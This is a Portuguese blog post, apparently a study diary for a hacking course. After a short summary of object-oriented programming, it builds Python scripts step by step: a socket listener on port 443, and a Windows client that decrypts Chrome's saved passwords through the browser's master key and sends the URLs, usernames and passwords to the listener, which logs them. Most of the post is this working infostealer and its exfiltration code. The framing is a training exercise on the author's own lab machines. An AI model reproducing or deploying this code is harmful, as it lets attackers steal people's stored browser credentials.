Home Hacking Dojo - Semana \x01
Post
Cancel

Hacking Dojo - Semana \x01

Recentemente conheci a galera foda do Beco do Exploit, um Hacker Space cheio de conteúdos e eventos que promovem a cultura e aprendizado hacking sem igual.

A plataforma do Beco possui muitos conteúdos em forma de vídeos, encontros, desafios e trilhas de aprendizado, dos quais tenho aprendido muito e acrescentado em meu dia-a-dia.

Acontece que uma destas trilhas de aprendizado é o Hacking Dojo, onde o objetivo, de acordo com as próprias palavras do C41tx90, fundador do Beco:

É uma série de 100 exercícios práticos que irão fortalecer suas skills básicas e intermediárias sobre hacking.

Esta trilha de aprendizado é separada em semanas de estudos que se subdividem em tasks que vão progredindo e passam por desenvolvimento de exploits, desenvolvimento de malware até evasão.

A partir deste post, iniciarei meu diário nesta trilha, contendo tudo que aprendi e desenvolvi ao longo da tragetória.

Portanto, cada task dentro dos posts, será dividido de acordo com as tasks da trilha.

Bora pra cima!

Task \x00

Esta task é mais conceitual do que prática, porém, com objetivo de fixar o aprendizado, fiz uma pesquisa e um resumo sobre a programaćão orientada a objeto.

POO: Programação Orientada a Objetos

Antes mesmo de entrarmos no mérito da programação orientada a objetos, precisamos entender que existem várias diferentes de programar, conhecidas como paradigmas de programação. Entre estes paradigmas, estáo a programação orientada a objetos e a programação estruturada.

Na programação estruturada, um programa é composto basicamente por três tipos básicos de estrutura:

  • sequências: são comandos a serem executados
  • condições: sequências que só devem ser executadas se a condição for satisfeitas, como as funções if, else
  • repetições: sequëncias que devem ser executadas repetidamente até uma condição ser satisfeita como as funções while, for

Na programação estruturada, todo o programa é escrito em uma única rotina que pode ser quebreada em sub-rotinas. O fluxo do programa continua o mesmo, de forma que no final, haja somente uma grande rotina que define o programa.

Já a programação orientada a objetos tem quatro “pilares” que a define:

Abstração

Um dos pontos mais importantes na POO, a abstração lida com uma representação de um objeto no mundo real, sendo definido o que este objeto deve realizar. Com três pontos importantes para serem relevados:

  • Identidade: Não pode se repetir e pode ter uma relação com o mundo real facilitando sua compreensão
  • Características: Assim como todo objeto no mundo real possui características, ou atributos que o definem, dentro da POO estas características são chamadas de propriedades.
  • Ações: O objeto precisa ser definido com uma ação a ser executada, estas ações são chamadas de eventos.

Encapsulamento

O intuito do encapsulamento é de organizar dados que sejam relacionados e agrupá-los. Na POO o encapsulamento é feito por meio de classes que agrupam objetos com características específicas, reduzindo conflitos entre variáveis.

Um exemplo de encapsulamento abstrato ao mundo real seria uma classe Motocicleta com as propriedades cor, modelo, cilindradas, torque e os métodos acelerar e frear e a classe Carro, tem as propriedades cor, modelo, cilindradas, torque e os métodos acelerar e frear.

Pode-se descobrir a cor da moto perguntando por "Motocicleta.cor", sendo que da mesma forma podemos saber a cor do carro perguntando "Carro.cor". Neste exemplo os dois atributos tem o mesmo nome “cor”, mas cada um tem sua própria classe náo tendo conflito entre si.

Herança

Na POO a herança tem o mesmo significado do mundo real, ou seja assim como um filho pode herdar algumas características do pai, na orientação a objetos é permitido que uma classe herde atributos e métodos da outra. Essa característica otimiza a produção da aplicação em tempo e linhas de código.

Um exemplo de aplicação no mundo real seria uma classe "Veículo" (superclasse), e as classes "Motocicleta", "Carro", "Caminhão", que herdam atributos da classe "Veículo".

Polimorfismo

O polimorfismo é o conceito de que duas ou mais classes derivadas de uma mesma superclasse podem invocar métodos que tem a mesma identificação, porém comportamentos diferentes.

Como exemplos, podemos voltar ao objeto Motocicleta que possui o método acelerar. Também temos o objeto Carro que também tem o método acelerar, porém não é feito da mesma forma que a motocicleta (um vc faz com a mão e outro com o pé!). Desta forma, para cada subclasse, é preciso reescrever o método acelerar.

Sendo assim, outra grande diferença entre POO e proigramação estruturada, é que o programa não precisa ser escrito em uma única rotina e seu fluxo pode mudar de acordo com as chamadas de classes.

Task \x01

O uso da biblioteca socket em python, é muito presente quando se fala de desenvolvimento de exploits. Pois ela permite comunicação via socket entre hosts. A documentação da biblioteca pode ser encontrada aqui.

Abaixo, o script desenvolvido de fato:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python3

# importação das bibliotecas
import socket
import sys

# parametros de conexão e buffer
lhost = "0.0.0.0"
lport = 443
buff = 1024

# criacao do socket que irá ouvir
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((lhost,lport))
server.listen(10)

print("[+] Iniciando handler!")

# loop de repeticao que recebe a conexao
while True:
    clientsocket, clientaddr = server.accept()
    print("[+] Recebendo conexao de " + clientaddr[0])
    stop = True
    clientsocket.settimeout(3)
    while True:
        resp = input("")
        if resp == "exit":
            server.close()
            sys.exit()
        try:
            data = clientsocket.recv(buff)
            data = data.decode()
        except:
            pass

# fecha a conexao
server.close()

Ao executarmos o script, ele espera por conexões na porta 443.

Se checarmos as portas aguardando conexão no Kali, veremos que a porta 443 está aberta e ouvindo.

Isso encerra a tasx 01 dessa semana.

Task \x02

Para esta taks, será necessário uma VM Windows para iniciarmos os testes. Como alvo para os testes em uma máquina com Python, eu montei uma Commando VM montada em cima do Windows 10 21h1.

A ideia desta task, é criar um client, para nosso handler que rode na máquina Windows, e, após a conexão, envie a string “Hacking Dojo”.

O script ficou desta forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# importando as bibliotecas
import socket
import sys

# variaveis de conexao
host = "192.168.1.7"
port = 443

# inicia a conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# envia a string
s.send(b"Hacking Dojo\r\n")
#fecha a conexao
s.close()

Para testar o script, primeiro aciono o script server na máquina Kali, e em seguida executo na máquina Windows.

A execução é rápida sem resposta em tela (o que náo foi cobrado, já que a intensão é ser evasivo). Já na tela do Kali, temos a resposta com uma consexão recebida.

Como visto, os scripts server e client estão funcionando corretamente, nas próximas tasks estes scripts irão evoluir.

Task \x03

Nesta task, precisamos evoluir nosso script server, para que reconheça a string "Dojo" no buffer recebido, caso esta string seja recebida, o server deve salvar o conteúdo do buffer em um arquivo de log com o formato log-04062020-0344-192-168-1-3.txt. Neste script, foi preciso criar um loop de tentativa de envio de um buffer para o client, e caso não consiga, o script pára. Isto foi necessário para que o server não fique em um loop infinito tentando receber novos buffers. Vamos ao script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

# importacao das bibliotecas
import socket
import sys
from datetime import datetime

# variaveis do handler e buffer
lhost = "0.0.0.0"
lport = 443
buff = 1024
date = datetime.now()

# funcao que vai criar o arquivo de log e gravar o conteudo do buffer
def log(buffer, ip):
    with open("log-"+date.strftime('%d%m%Y-%H%M')+"-"+ip+".txt","w") as log:
        log.write(buffer)

# criacao do handler
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((lhost,lport))
server.listen(1)

print("[+] Iniciando handler...")

# loop para receber a conexao
while True:
    clientsocket, clientaddr = server.accept()
    print("[+] Recebendo conexao de " + clientaddr[0]+ "\n")
    stop = True
    clientsocket.settimeout(3)

    # loop que recebe o buffer e tenta enviar uma resposta
    while True:
        try:
            for i in range(500):
                data = clientsocket.recv(buff)
                if len(data) < 1:
                    break
                data = data.decode()
                # procura a string "Dojo" no buffer recebido
                if "Dojo" in data:
                    log(data, clientaddr[0])
            # tenta enviar a resposta para evitar loop infinito
            server.send(b"")
        except:
            server.close()
            sys.exit()

server.close()

Ao executar o script na VM Windows, a resposta continua sendo rápida e sem informações em tela.

Já na máquina Kali, temos a informação da conexão recebida. Quando verificamos o diretório, podemos ver que o arquivo de log foi criado e seu conteúdo é a string “Hacking Dojo” conforme solicitado na task.

E a task está finalizada.

Task \x04

Esta task exigiu muita pesquisa para ser desenvolvida, pois o Chrome a partir da versão 80, incluiu metodos adicionais para encriptar as senhas armazenadas.

Basicamente todas as credenciais do Chrome são salvas em um banco SQLite que fica dentro no diretório \Users\<usuário>\AppData\Local\Google\Chrome\User Data.

Neste diretório, além do database SQLite, ele também grava a Master Key que é uma chave também encriptada em duas camadas que serve para descriptar as senhas do database.

O processo basicamente é de decriptar a Master Key, gerar uma cifra com ela, e em seguida utilizar esta cifra para decriptar os passwords.

Abaixo irei descrever cada parte do script e no final montar o script completo e executá-lo.

1
2
#diretorio dos arquivos Chrome
path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\\"

A biblioteca os nos permite executar uma série de comandos do sistema operacional, além de imprimir informações padróes do mesmo. Nesta parte do script, utilizo a função os.path.expanduser('~'). Esta função retorna o diretório raiz do usuário, por exemplo C:\Users\usuario. em seguida concateno este path com o caminho onde o chrome guarda seus dados resultando em algo do tipo C:\Users\usuario\AppData\Local\Google\Chrome\User Data.

1
2
3
4
5
6
7
8
9
# Capturar e decriptar a master key
def master():
    with open(path + r"Local State", 'r') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    key = key[5:]
    key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
    return key

Esta função abre o arquivo Local State dentro do path e o carrega no formato JSON. Dentro deste arquivo, nas chaves “os_crypt” -> “encrypted_key” que está codificada em base64 se encontra uma string com a key. Em seguida a função CryptUnprotectData da biblioteca win32crypt desencripta a master key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# gera cifra
def gera_cifra(key, pw):
    return AES.new(key, AES.MODE_GCM, pw)

# desencripta o password com a cifra
def decrypt_payload(cifra, payload):
    return cifra.decrypt(payload)

# desencripta o password
def decrypt_pwd(password, key):
    try:
        pw = password[3:15]
        payload = password[15:]
        cifra = gera_cifra(key, pw)
        pass_decrypt = decrypt_payload(cifra, payload)
        pass_decrypt = pass_decrypt[:-16].decode()
        return pass_decrypt
    except:
        return "Chrome < 80"

A função decrypt_pwd recebe o password que também está criptografado em duas camadas da base Default\Login Data e a naster key, e gera uma cifra decriptando a primeira camado do password utilizando a função AES da biblioteca Cryptodome.Cipher. Em seguida decrpita o resultado transformando em uma string em texto plano, retornando o password.

Entendendo esta lógica, o script comp[leto ficou desta forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# importando as bibliotecas
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil

#diretorio dos arquivos Chrome
path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\\"

# Captura e desencripta a master key
def master():
    with open(path + r"Local State", 'r') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    key = key[5:]
    key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
    return key

# gera cifra
def gera_cifra(key, pw):
    return AES.new(key, AES.MODE_GCM, pw)

# desencripta o password com a cifra
def decrypt_payload(cifra, payload):
    return cifra.decrypt(payload)

# desencripta o password
def decrypt_pwd(password, key):
    try:
        pw = password[3:15]
        payload = password[15:]
        cifra = gera_cifra(key, pw)
        pass_decrypt = decrypt_payload(cifra, payload)
        pass_decrypt = pass_decrypt[:-16].decode()
        return pass_decrypt
    except:
        return "Chrome < 80"


key = master()
db = path + r"Default\Login Data"

# cria uma copia do db, caso o Chrome esteja aberto
shutil.copy2(db, "database.db")

# conecta na copia do database
connect = sqlite3.connect("database.db")
cursor = connect.cursor()

try:
    cursor.execute("select action_url, username_value, password_value from logins")
    for i in cursor.fetchall():
        url = i[0]
        user = i[1]
        password = i[2]
        password = decrypt_pwd(password, key)
        if len(user) > 0:
            print("URL: " + url + "\nUser: " + user + "\nPassword: " + password + "\n\n")
except Exception as e:
    pass

# finaliza a conexao com o database
cursor.close()
connect.close()

# remove a copia do db
try:
    os.remove("database.db")
except Exception as e:
    pass

Com o script pronto, o teste pode ser feito no Windows.

Este script finaliza a task 04 com o desafio proposto.

Task \x05

Nesta task, é preciso evoluir os dois scripts, tanto o server quanto o client.

No server, a única coisa a ser alterada, é que ao invés de mandar o buffer de entrada para a função log, vamos fazer um print do buffer recebido, ficando desta forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python3

# importacao das bibliotecas
import socket
import sys
from datetime import datetime

# variaveis do handler e buffer
lhost = "0.0.0.0"
lport = 443
buff = 1024
date = datetime.now()

# funcao que vai criar o arquivo de log e gravar o conteudo do buffer
def log(buffer, ip):
    with open("log-"+date.strftime('%d%m%Y-%H%M')+"-"+ip+".txt","w") as log:
        log.write(buffer)

# criacao do handler
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((lhost,lport))
server.listen(1)

print("[+] Iniciando handler...")

# loop para receber a conexao
while True:
    clientsocket, clientaddr = server.accept()
    print("[+] Recebendo conexao de " + clientaddr[0]+ "\n")
    stop = True
    clientsocket.settimeout(3)

    # loop que recebe o buffer e tenta enviar uma resposta
    while True:
        try:
            for i in range(500):
                data = clientsocket.recv(buff)
                if len(data) < 1:
                    break
                data = data.decode()
                print(data)
            # tenta enviar a resposta para evitar loop infinito
            server.send(b"")
        except:
            server.close()
            sys.exit()

server.close()

Já no scrip do client, ao invés de printar em tela as credenciais, precisamos montar uma string com o formato desejado, codificar em bytes e em seguida enviar via socket os dados, ficando desta forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# importando as bibliotecas
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil

#diretorio dos arquivos Chrome
path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\\"

# Captura e desencripta a master key
def master():
    with open(path + r"Local State", 'r') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    key = key[5:]
    key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
    return key

# gera cifra
def gera_cifra(key, pw):
    return AES.new(key, AES.MODE_GCM, pw)

# desencripta o password com a cifra
def decrypt_payload(cifra, payload):
    return cifra.decrypt(payload)

# desencripta o password
def decrypt_pwd(password, key):
    try:
        pw = password[3:15]
        payload = password[15:]
        cifra = gera_cifra(key, pw)
        pass_decrypt = decrypt_payload(cifra, payload)
        pass_decrypt = pass_decrypt[:-16].decode()
        return pass_decrypt
    except:
        return "Chrome < 80"


key = master()
db = path + r"Default\Login Data"

# cria uma copia do db, caso o Chrome esteja aberto
shutil.copy2(db, "database.db")

# conecta na copia do database
connect = sqlite3.connect("database.db")
cursor = connect.cursor()

try:
    cursor.execute("select action_url, username_value, password_value from logins")
    for i in cursor.fetchall():
        url = i[0]
        user = i[1]
        password = i[2]
        password = decrypt_pwd(password, key)
        if len(user) > 0:
            # cria a string no formato desejado
            dump = "\nURL: " + url + "\nUser: " + user + "\nPassword: " + password + "\n\n"
            # codifica em bytes
            dump = bytes(dump, "utf-8")
            # envia via socket
            s.sendall(dump)
except Exception as e:
    pass

# finaliza a conexao com o database
cursor.close()
connect.close()

# remove a copia do db
try:
    os.remove("database.db")
except Exception as e:
    pass

Ao iniciar o handler com o script server na máquina Kali e rodar o client no Windows, recebemos em tela todas as credenciais.

Estas atualizações finalizam a task 05.

Task \x06

A atualização para esta task é bem simples, basta criar uma variável do tipo string vazia, e para cada buffer recebido, adicionamos a esta variável, o valor do buffer, ao final do loop, enviamos esta variável para a função log.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

# importacao das bibliotecas
import socket
import sys
from datetime import datetime

# variaveis do handler e buffer
lhost = "0.0.0.0"
lport = 443
buff = 1024
date = datetime.now()

# funcao que vai criar o arquivo de log e gravar o conteudo do buffer
def log(buffer, ip):
    with open("log-"+date.strftime('%d%m%Y-%H%M')+"-"+ip+".txt","w") as log:
        log.write(buffer)

# criacao do handler
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((lhost,lport))
server.listen(1)

print("[+] Iniciando handler...")

creds = ""
# loop para receber a conexao
while True:
    clientsocket, clientaddr = server.accept()
    print("[+] Recebendo conexao de " + clientaddr[0]+ "\n")
    stop = True
    clientsocket.settimeout(3)

    # loop que recebe o buffer e tenta enviar uma resposta
    while True:
        try:
            for i in range(500):
                data = clientsocket.recv(buff)
                if len(data) < 1:
                    break
                data = data.decode()
                creds += data
            log(creds, clientaddr[0])
            # tenta enviar a resposta para evitar loop infinito
            server.send(b"")
        except:
            server.close()
            sys.exit()

server.close()

Ao executarmos os scripts, temos o log criado com as credenciais salvas.

Estes scripts encerram a task 06.

Task \x07 e \x08

Estas duas tasks servem mais para orientação para a continuidade do Dojo, deixo a indicação de dois artigos que podem ser úteis neste link e neste link.

Em breve postarei o desenvolvimento da semana 2 do Hacking Dojo.

Bons estudos!

This post is licensed under CC BY 4.0 by the author.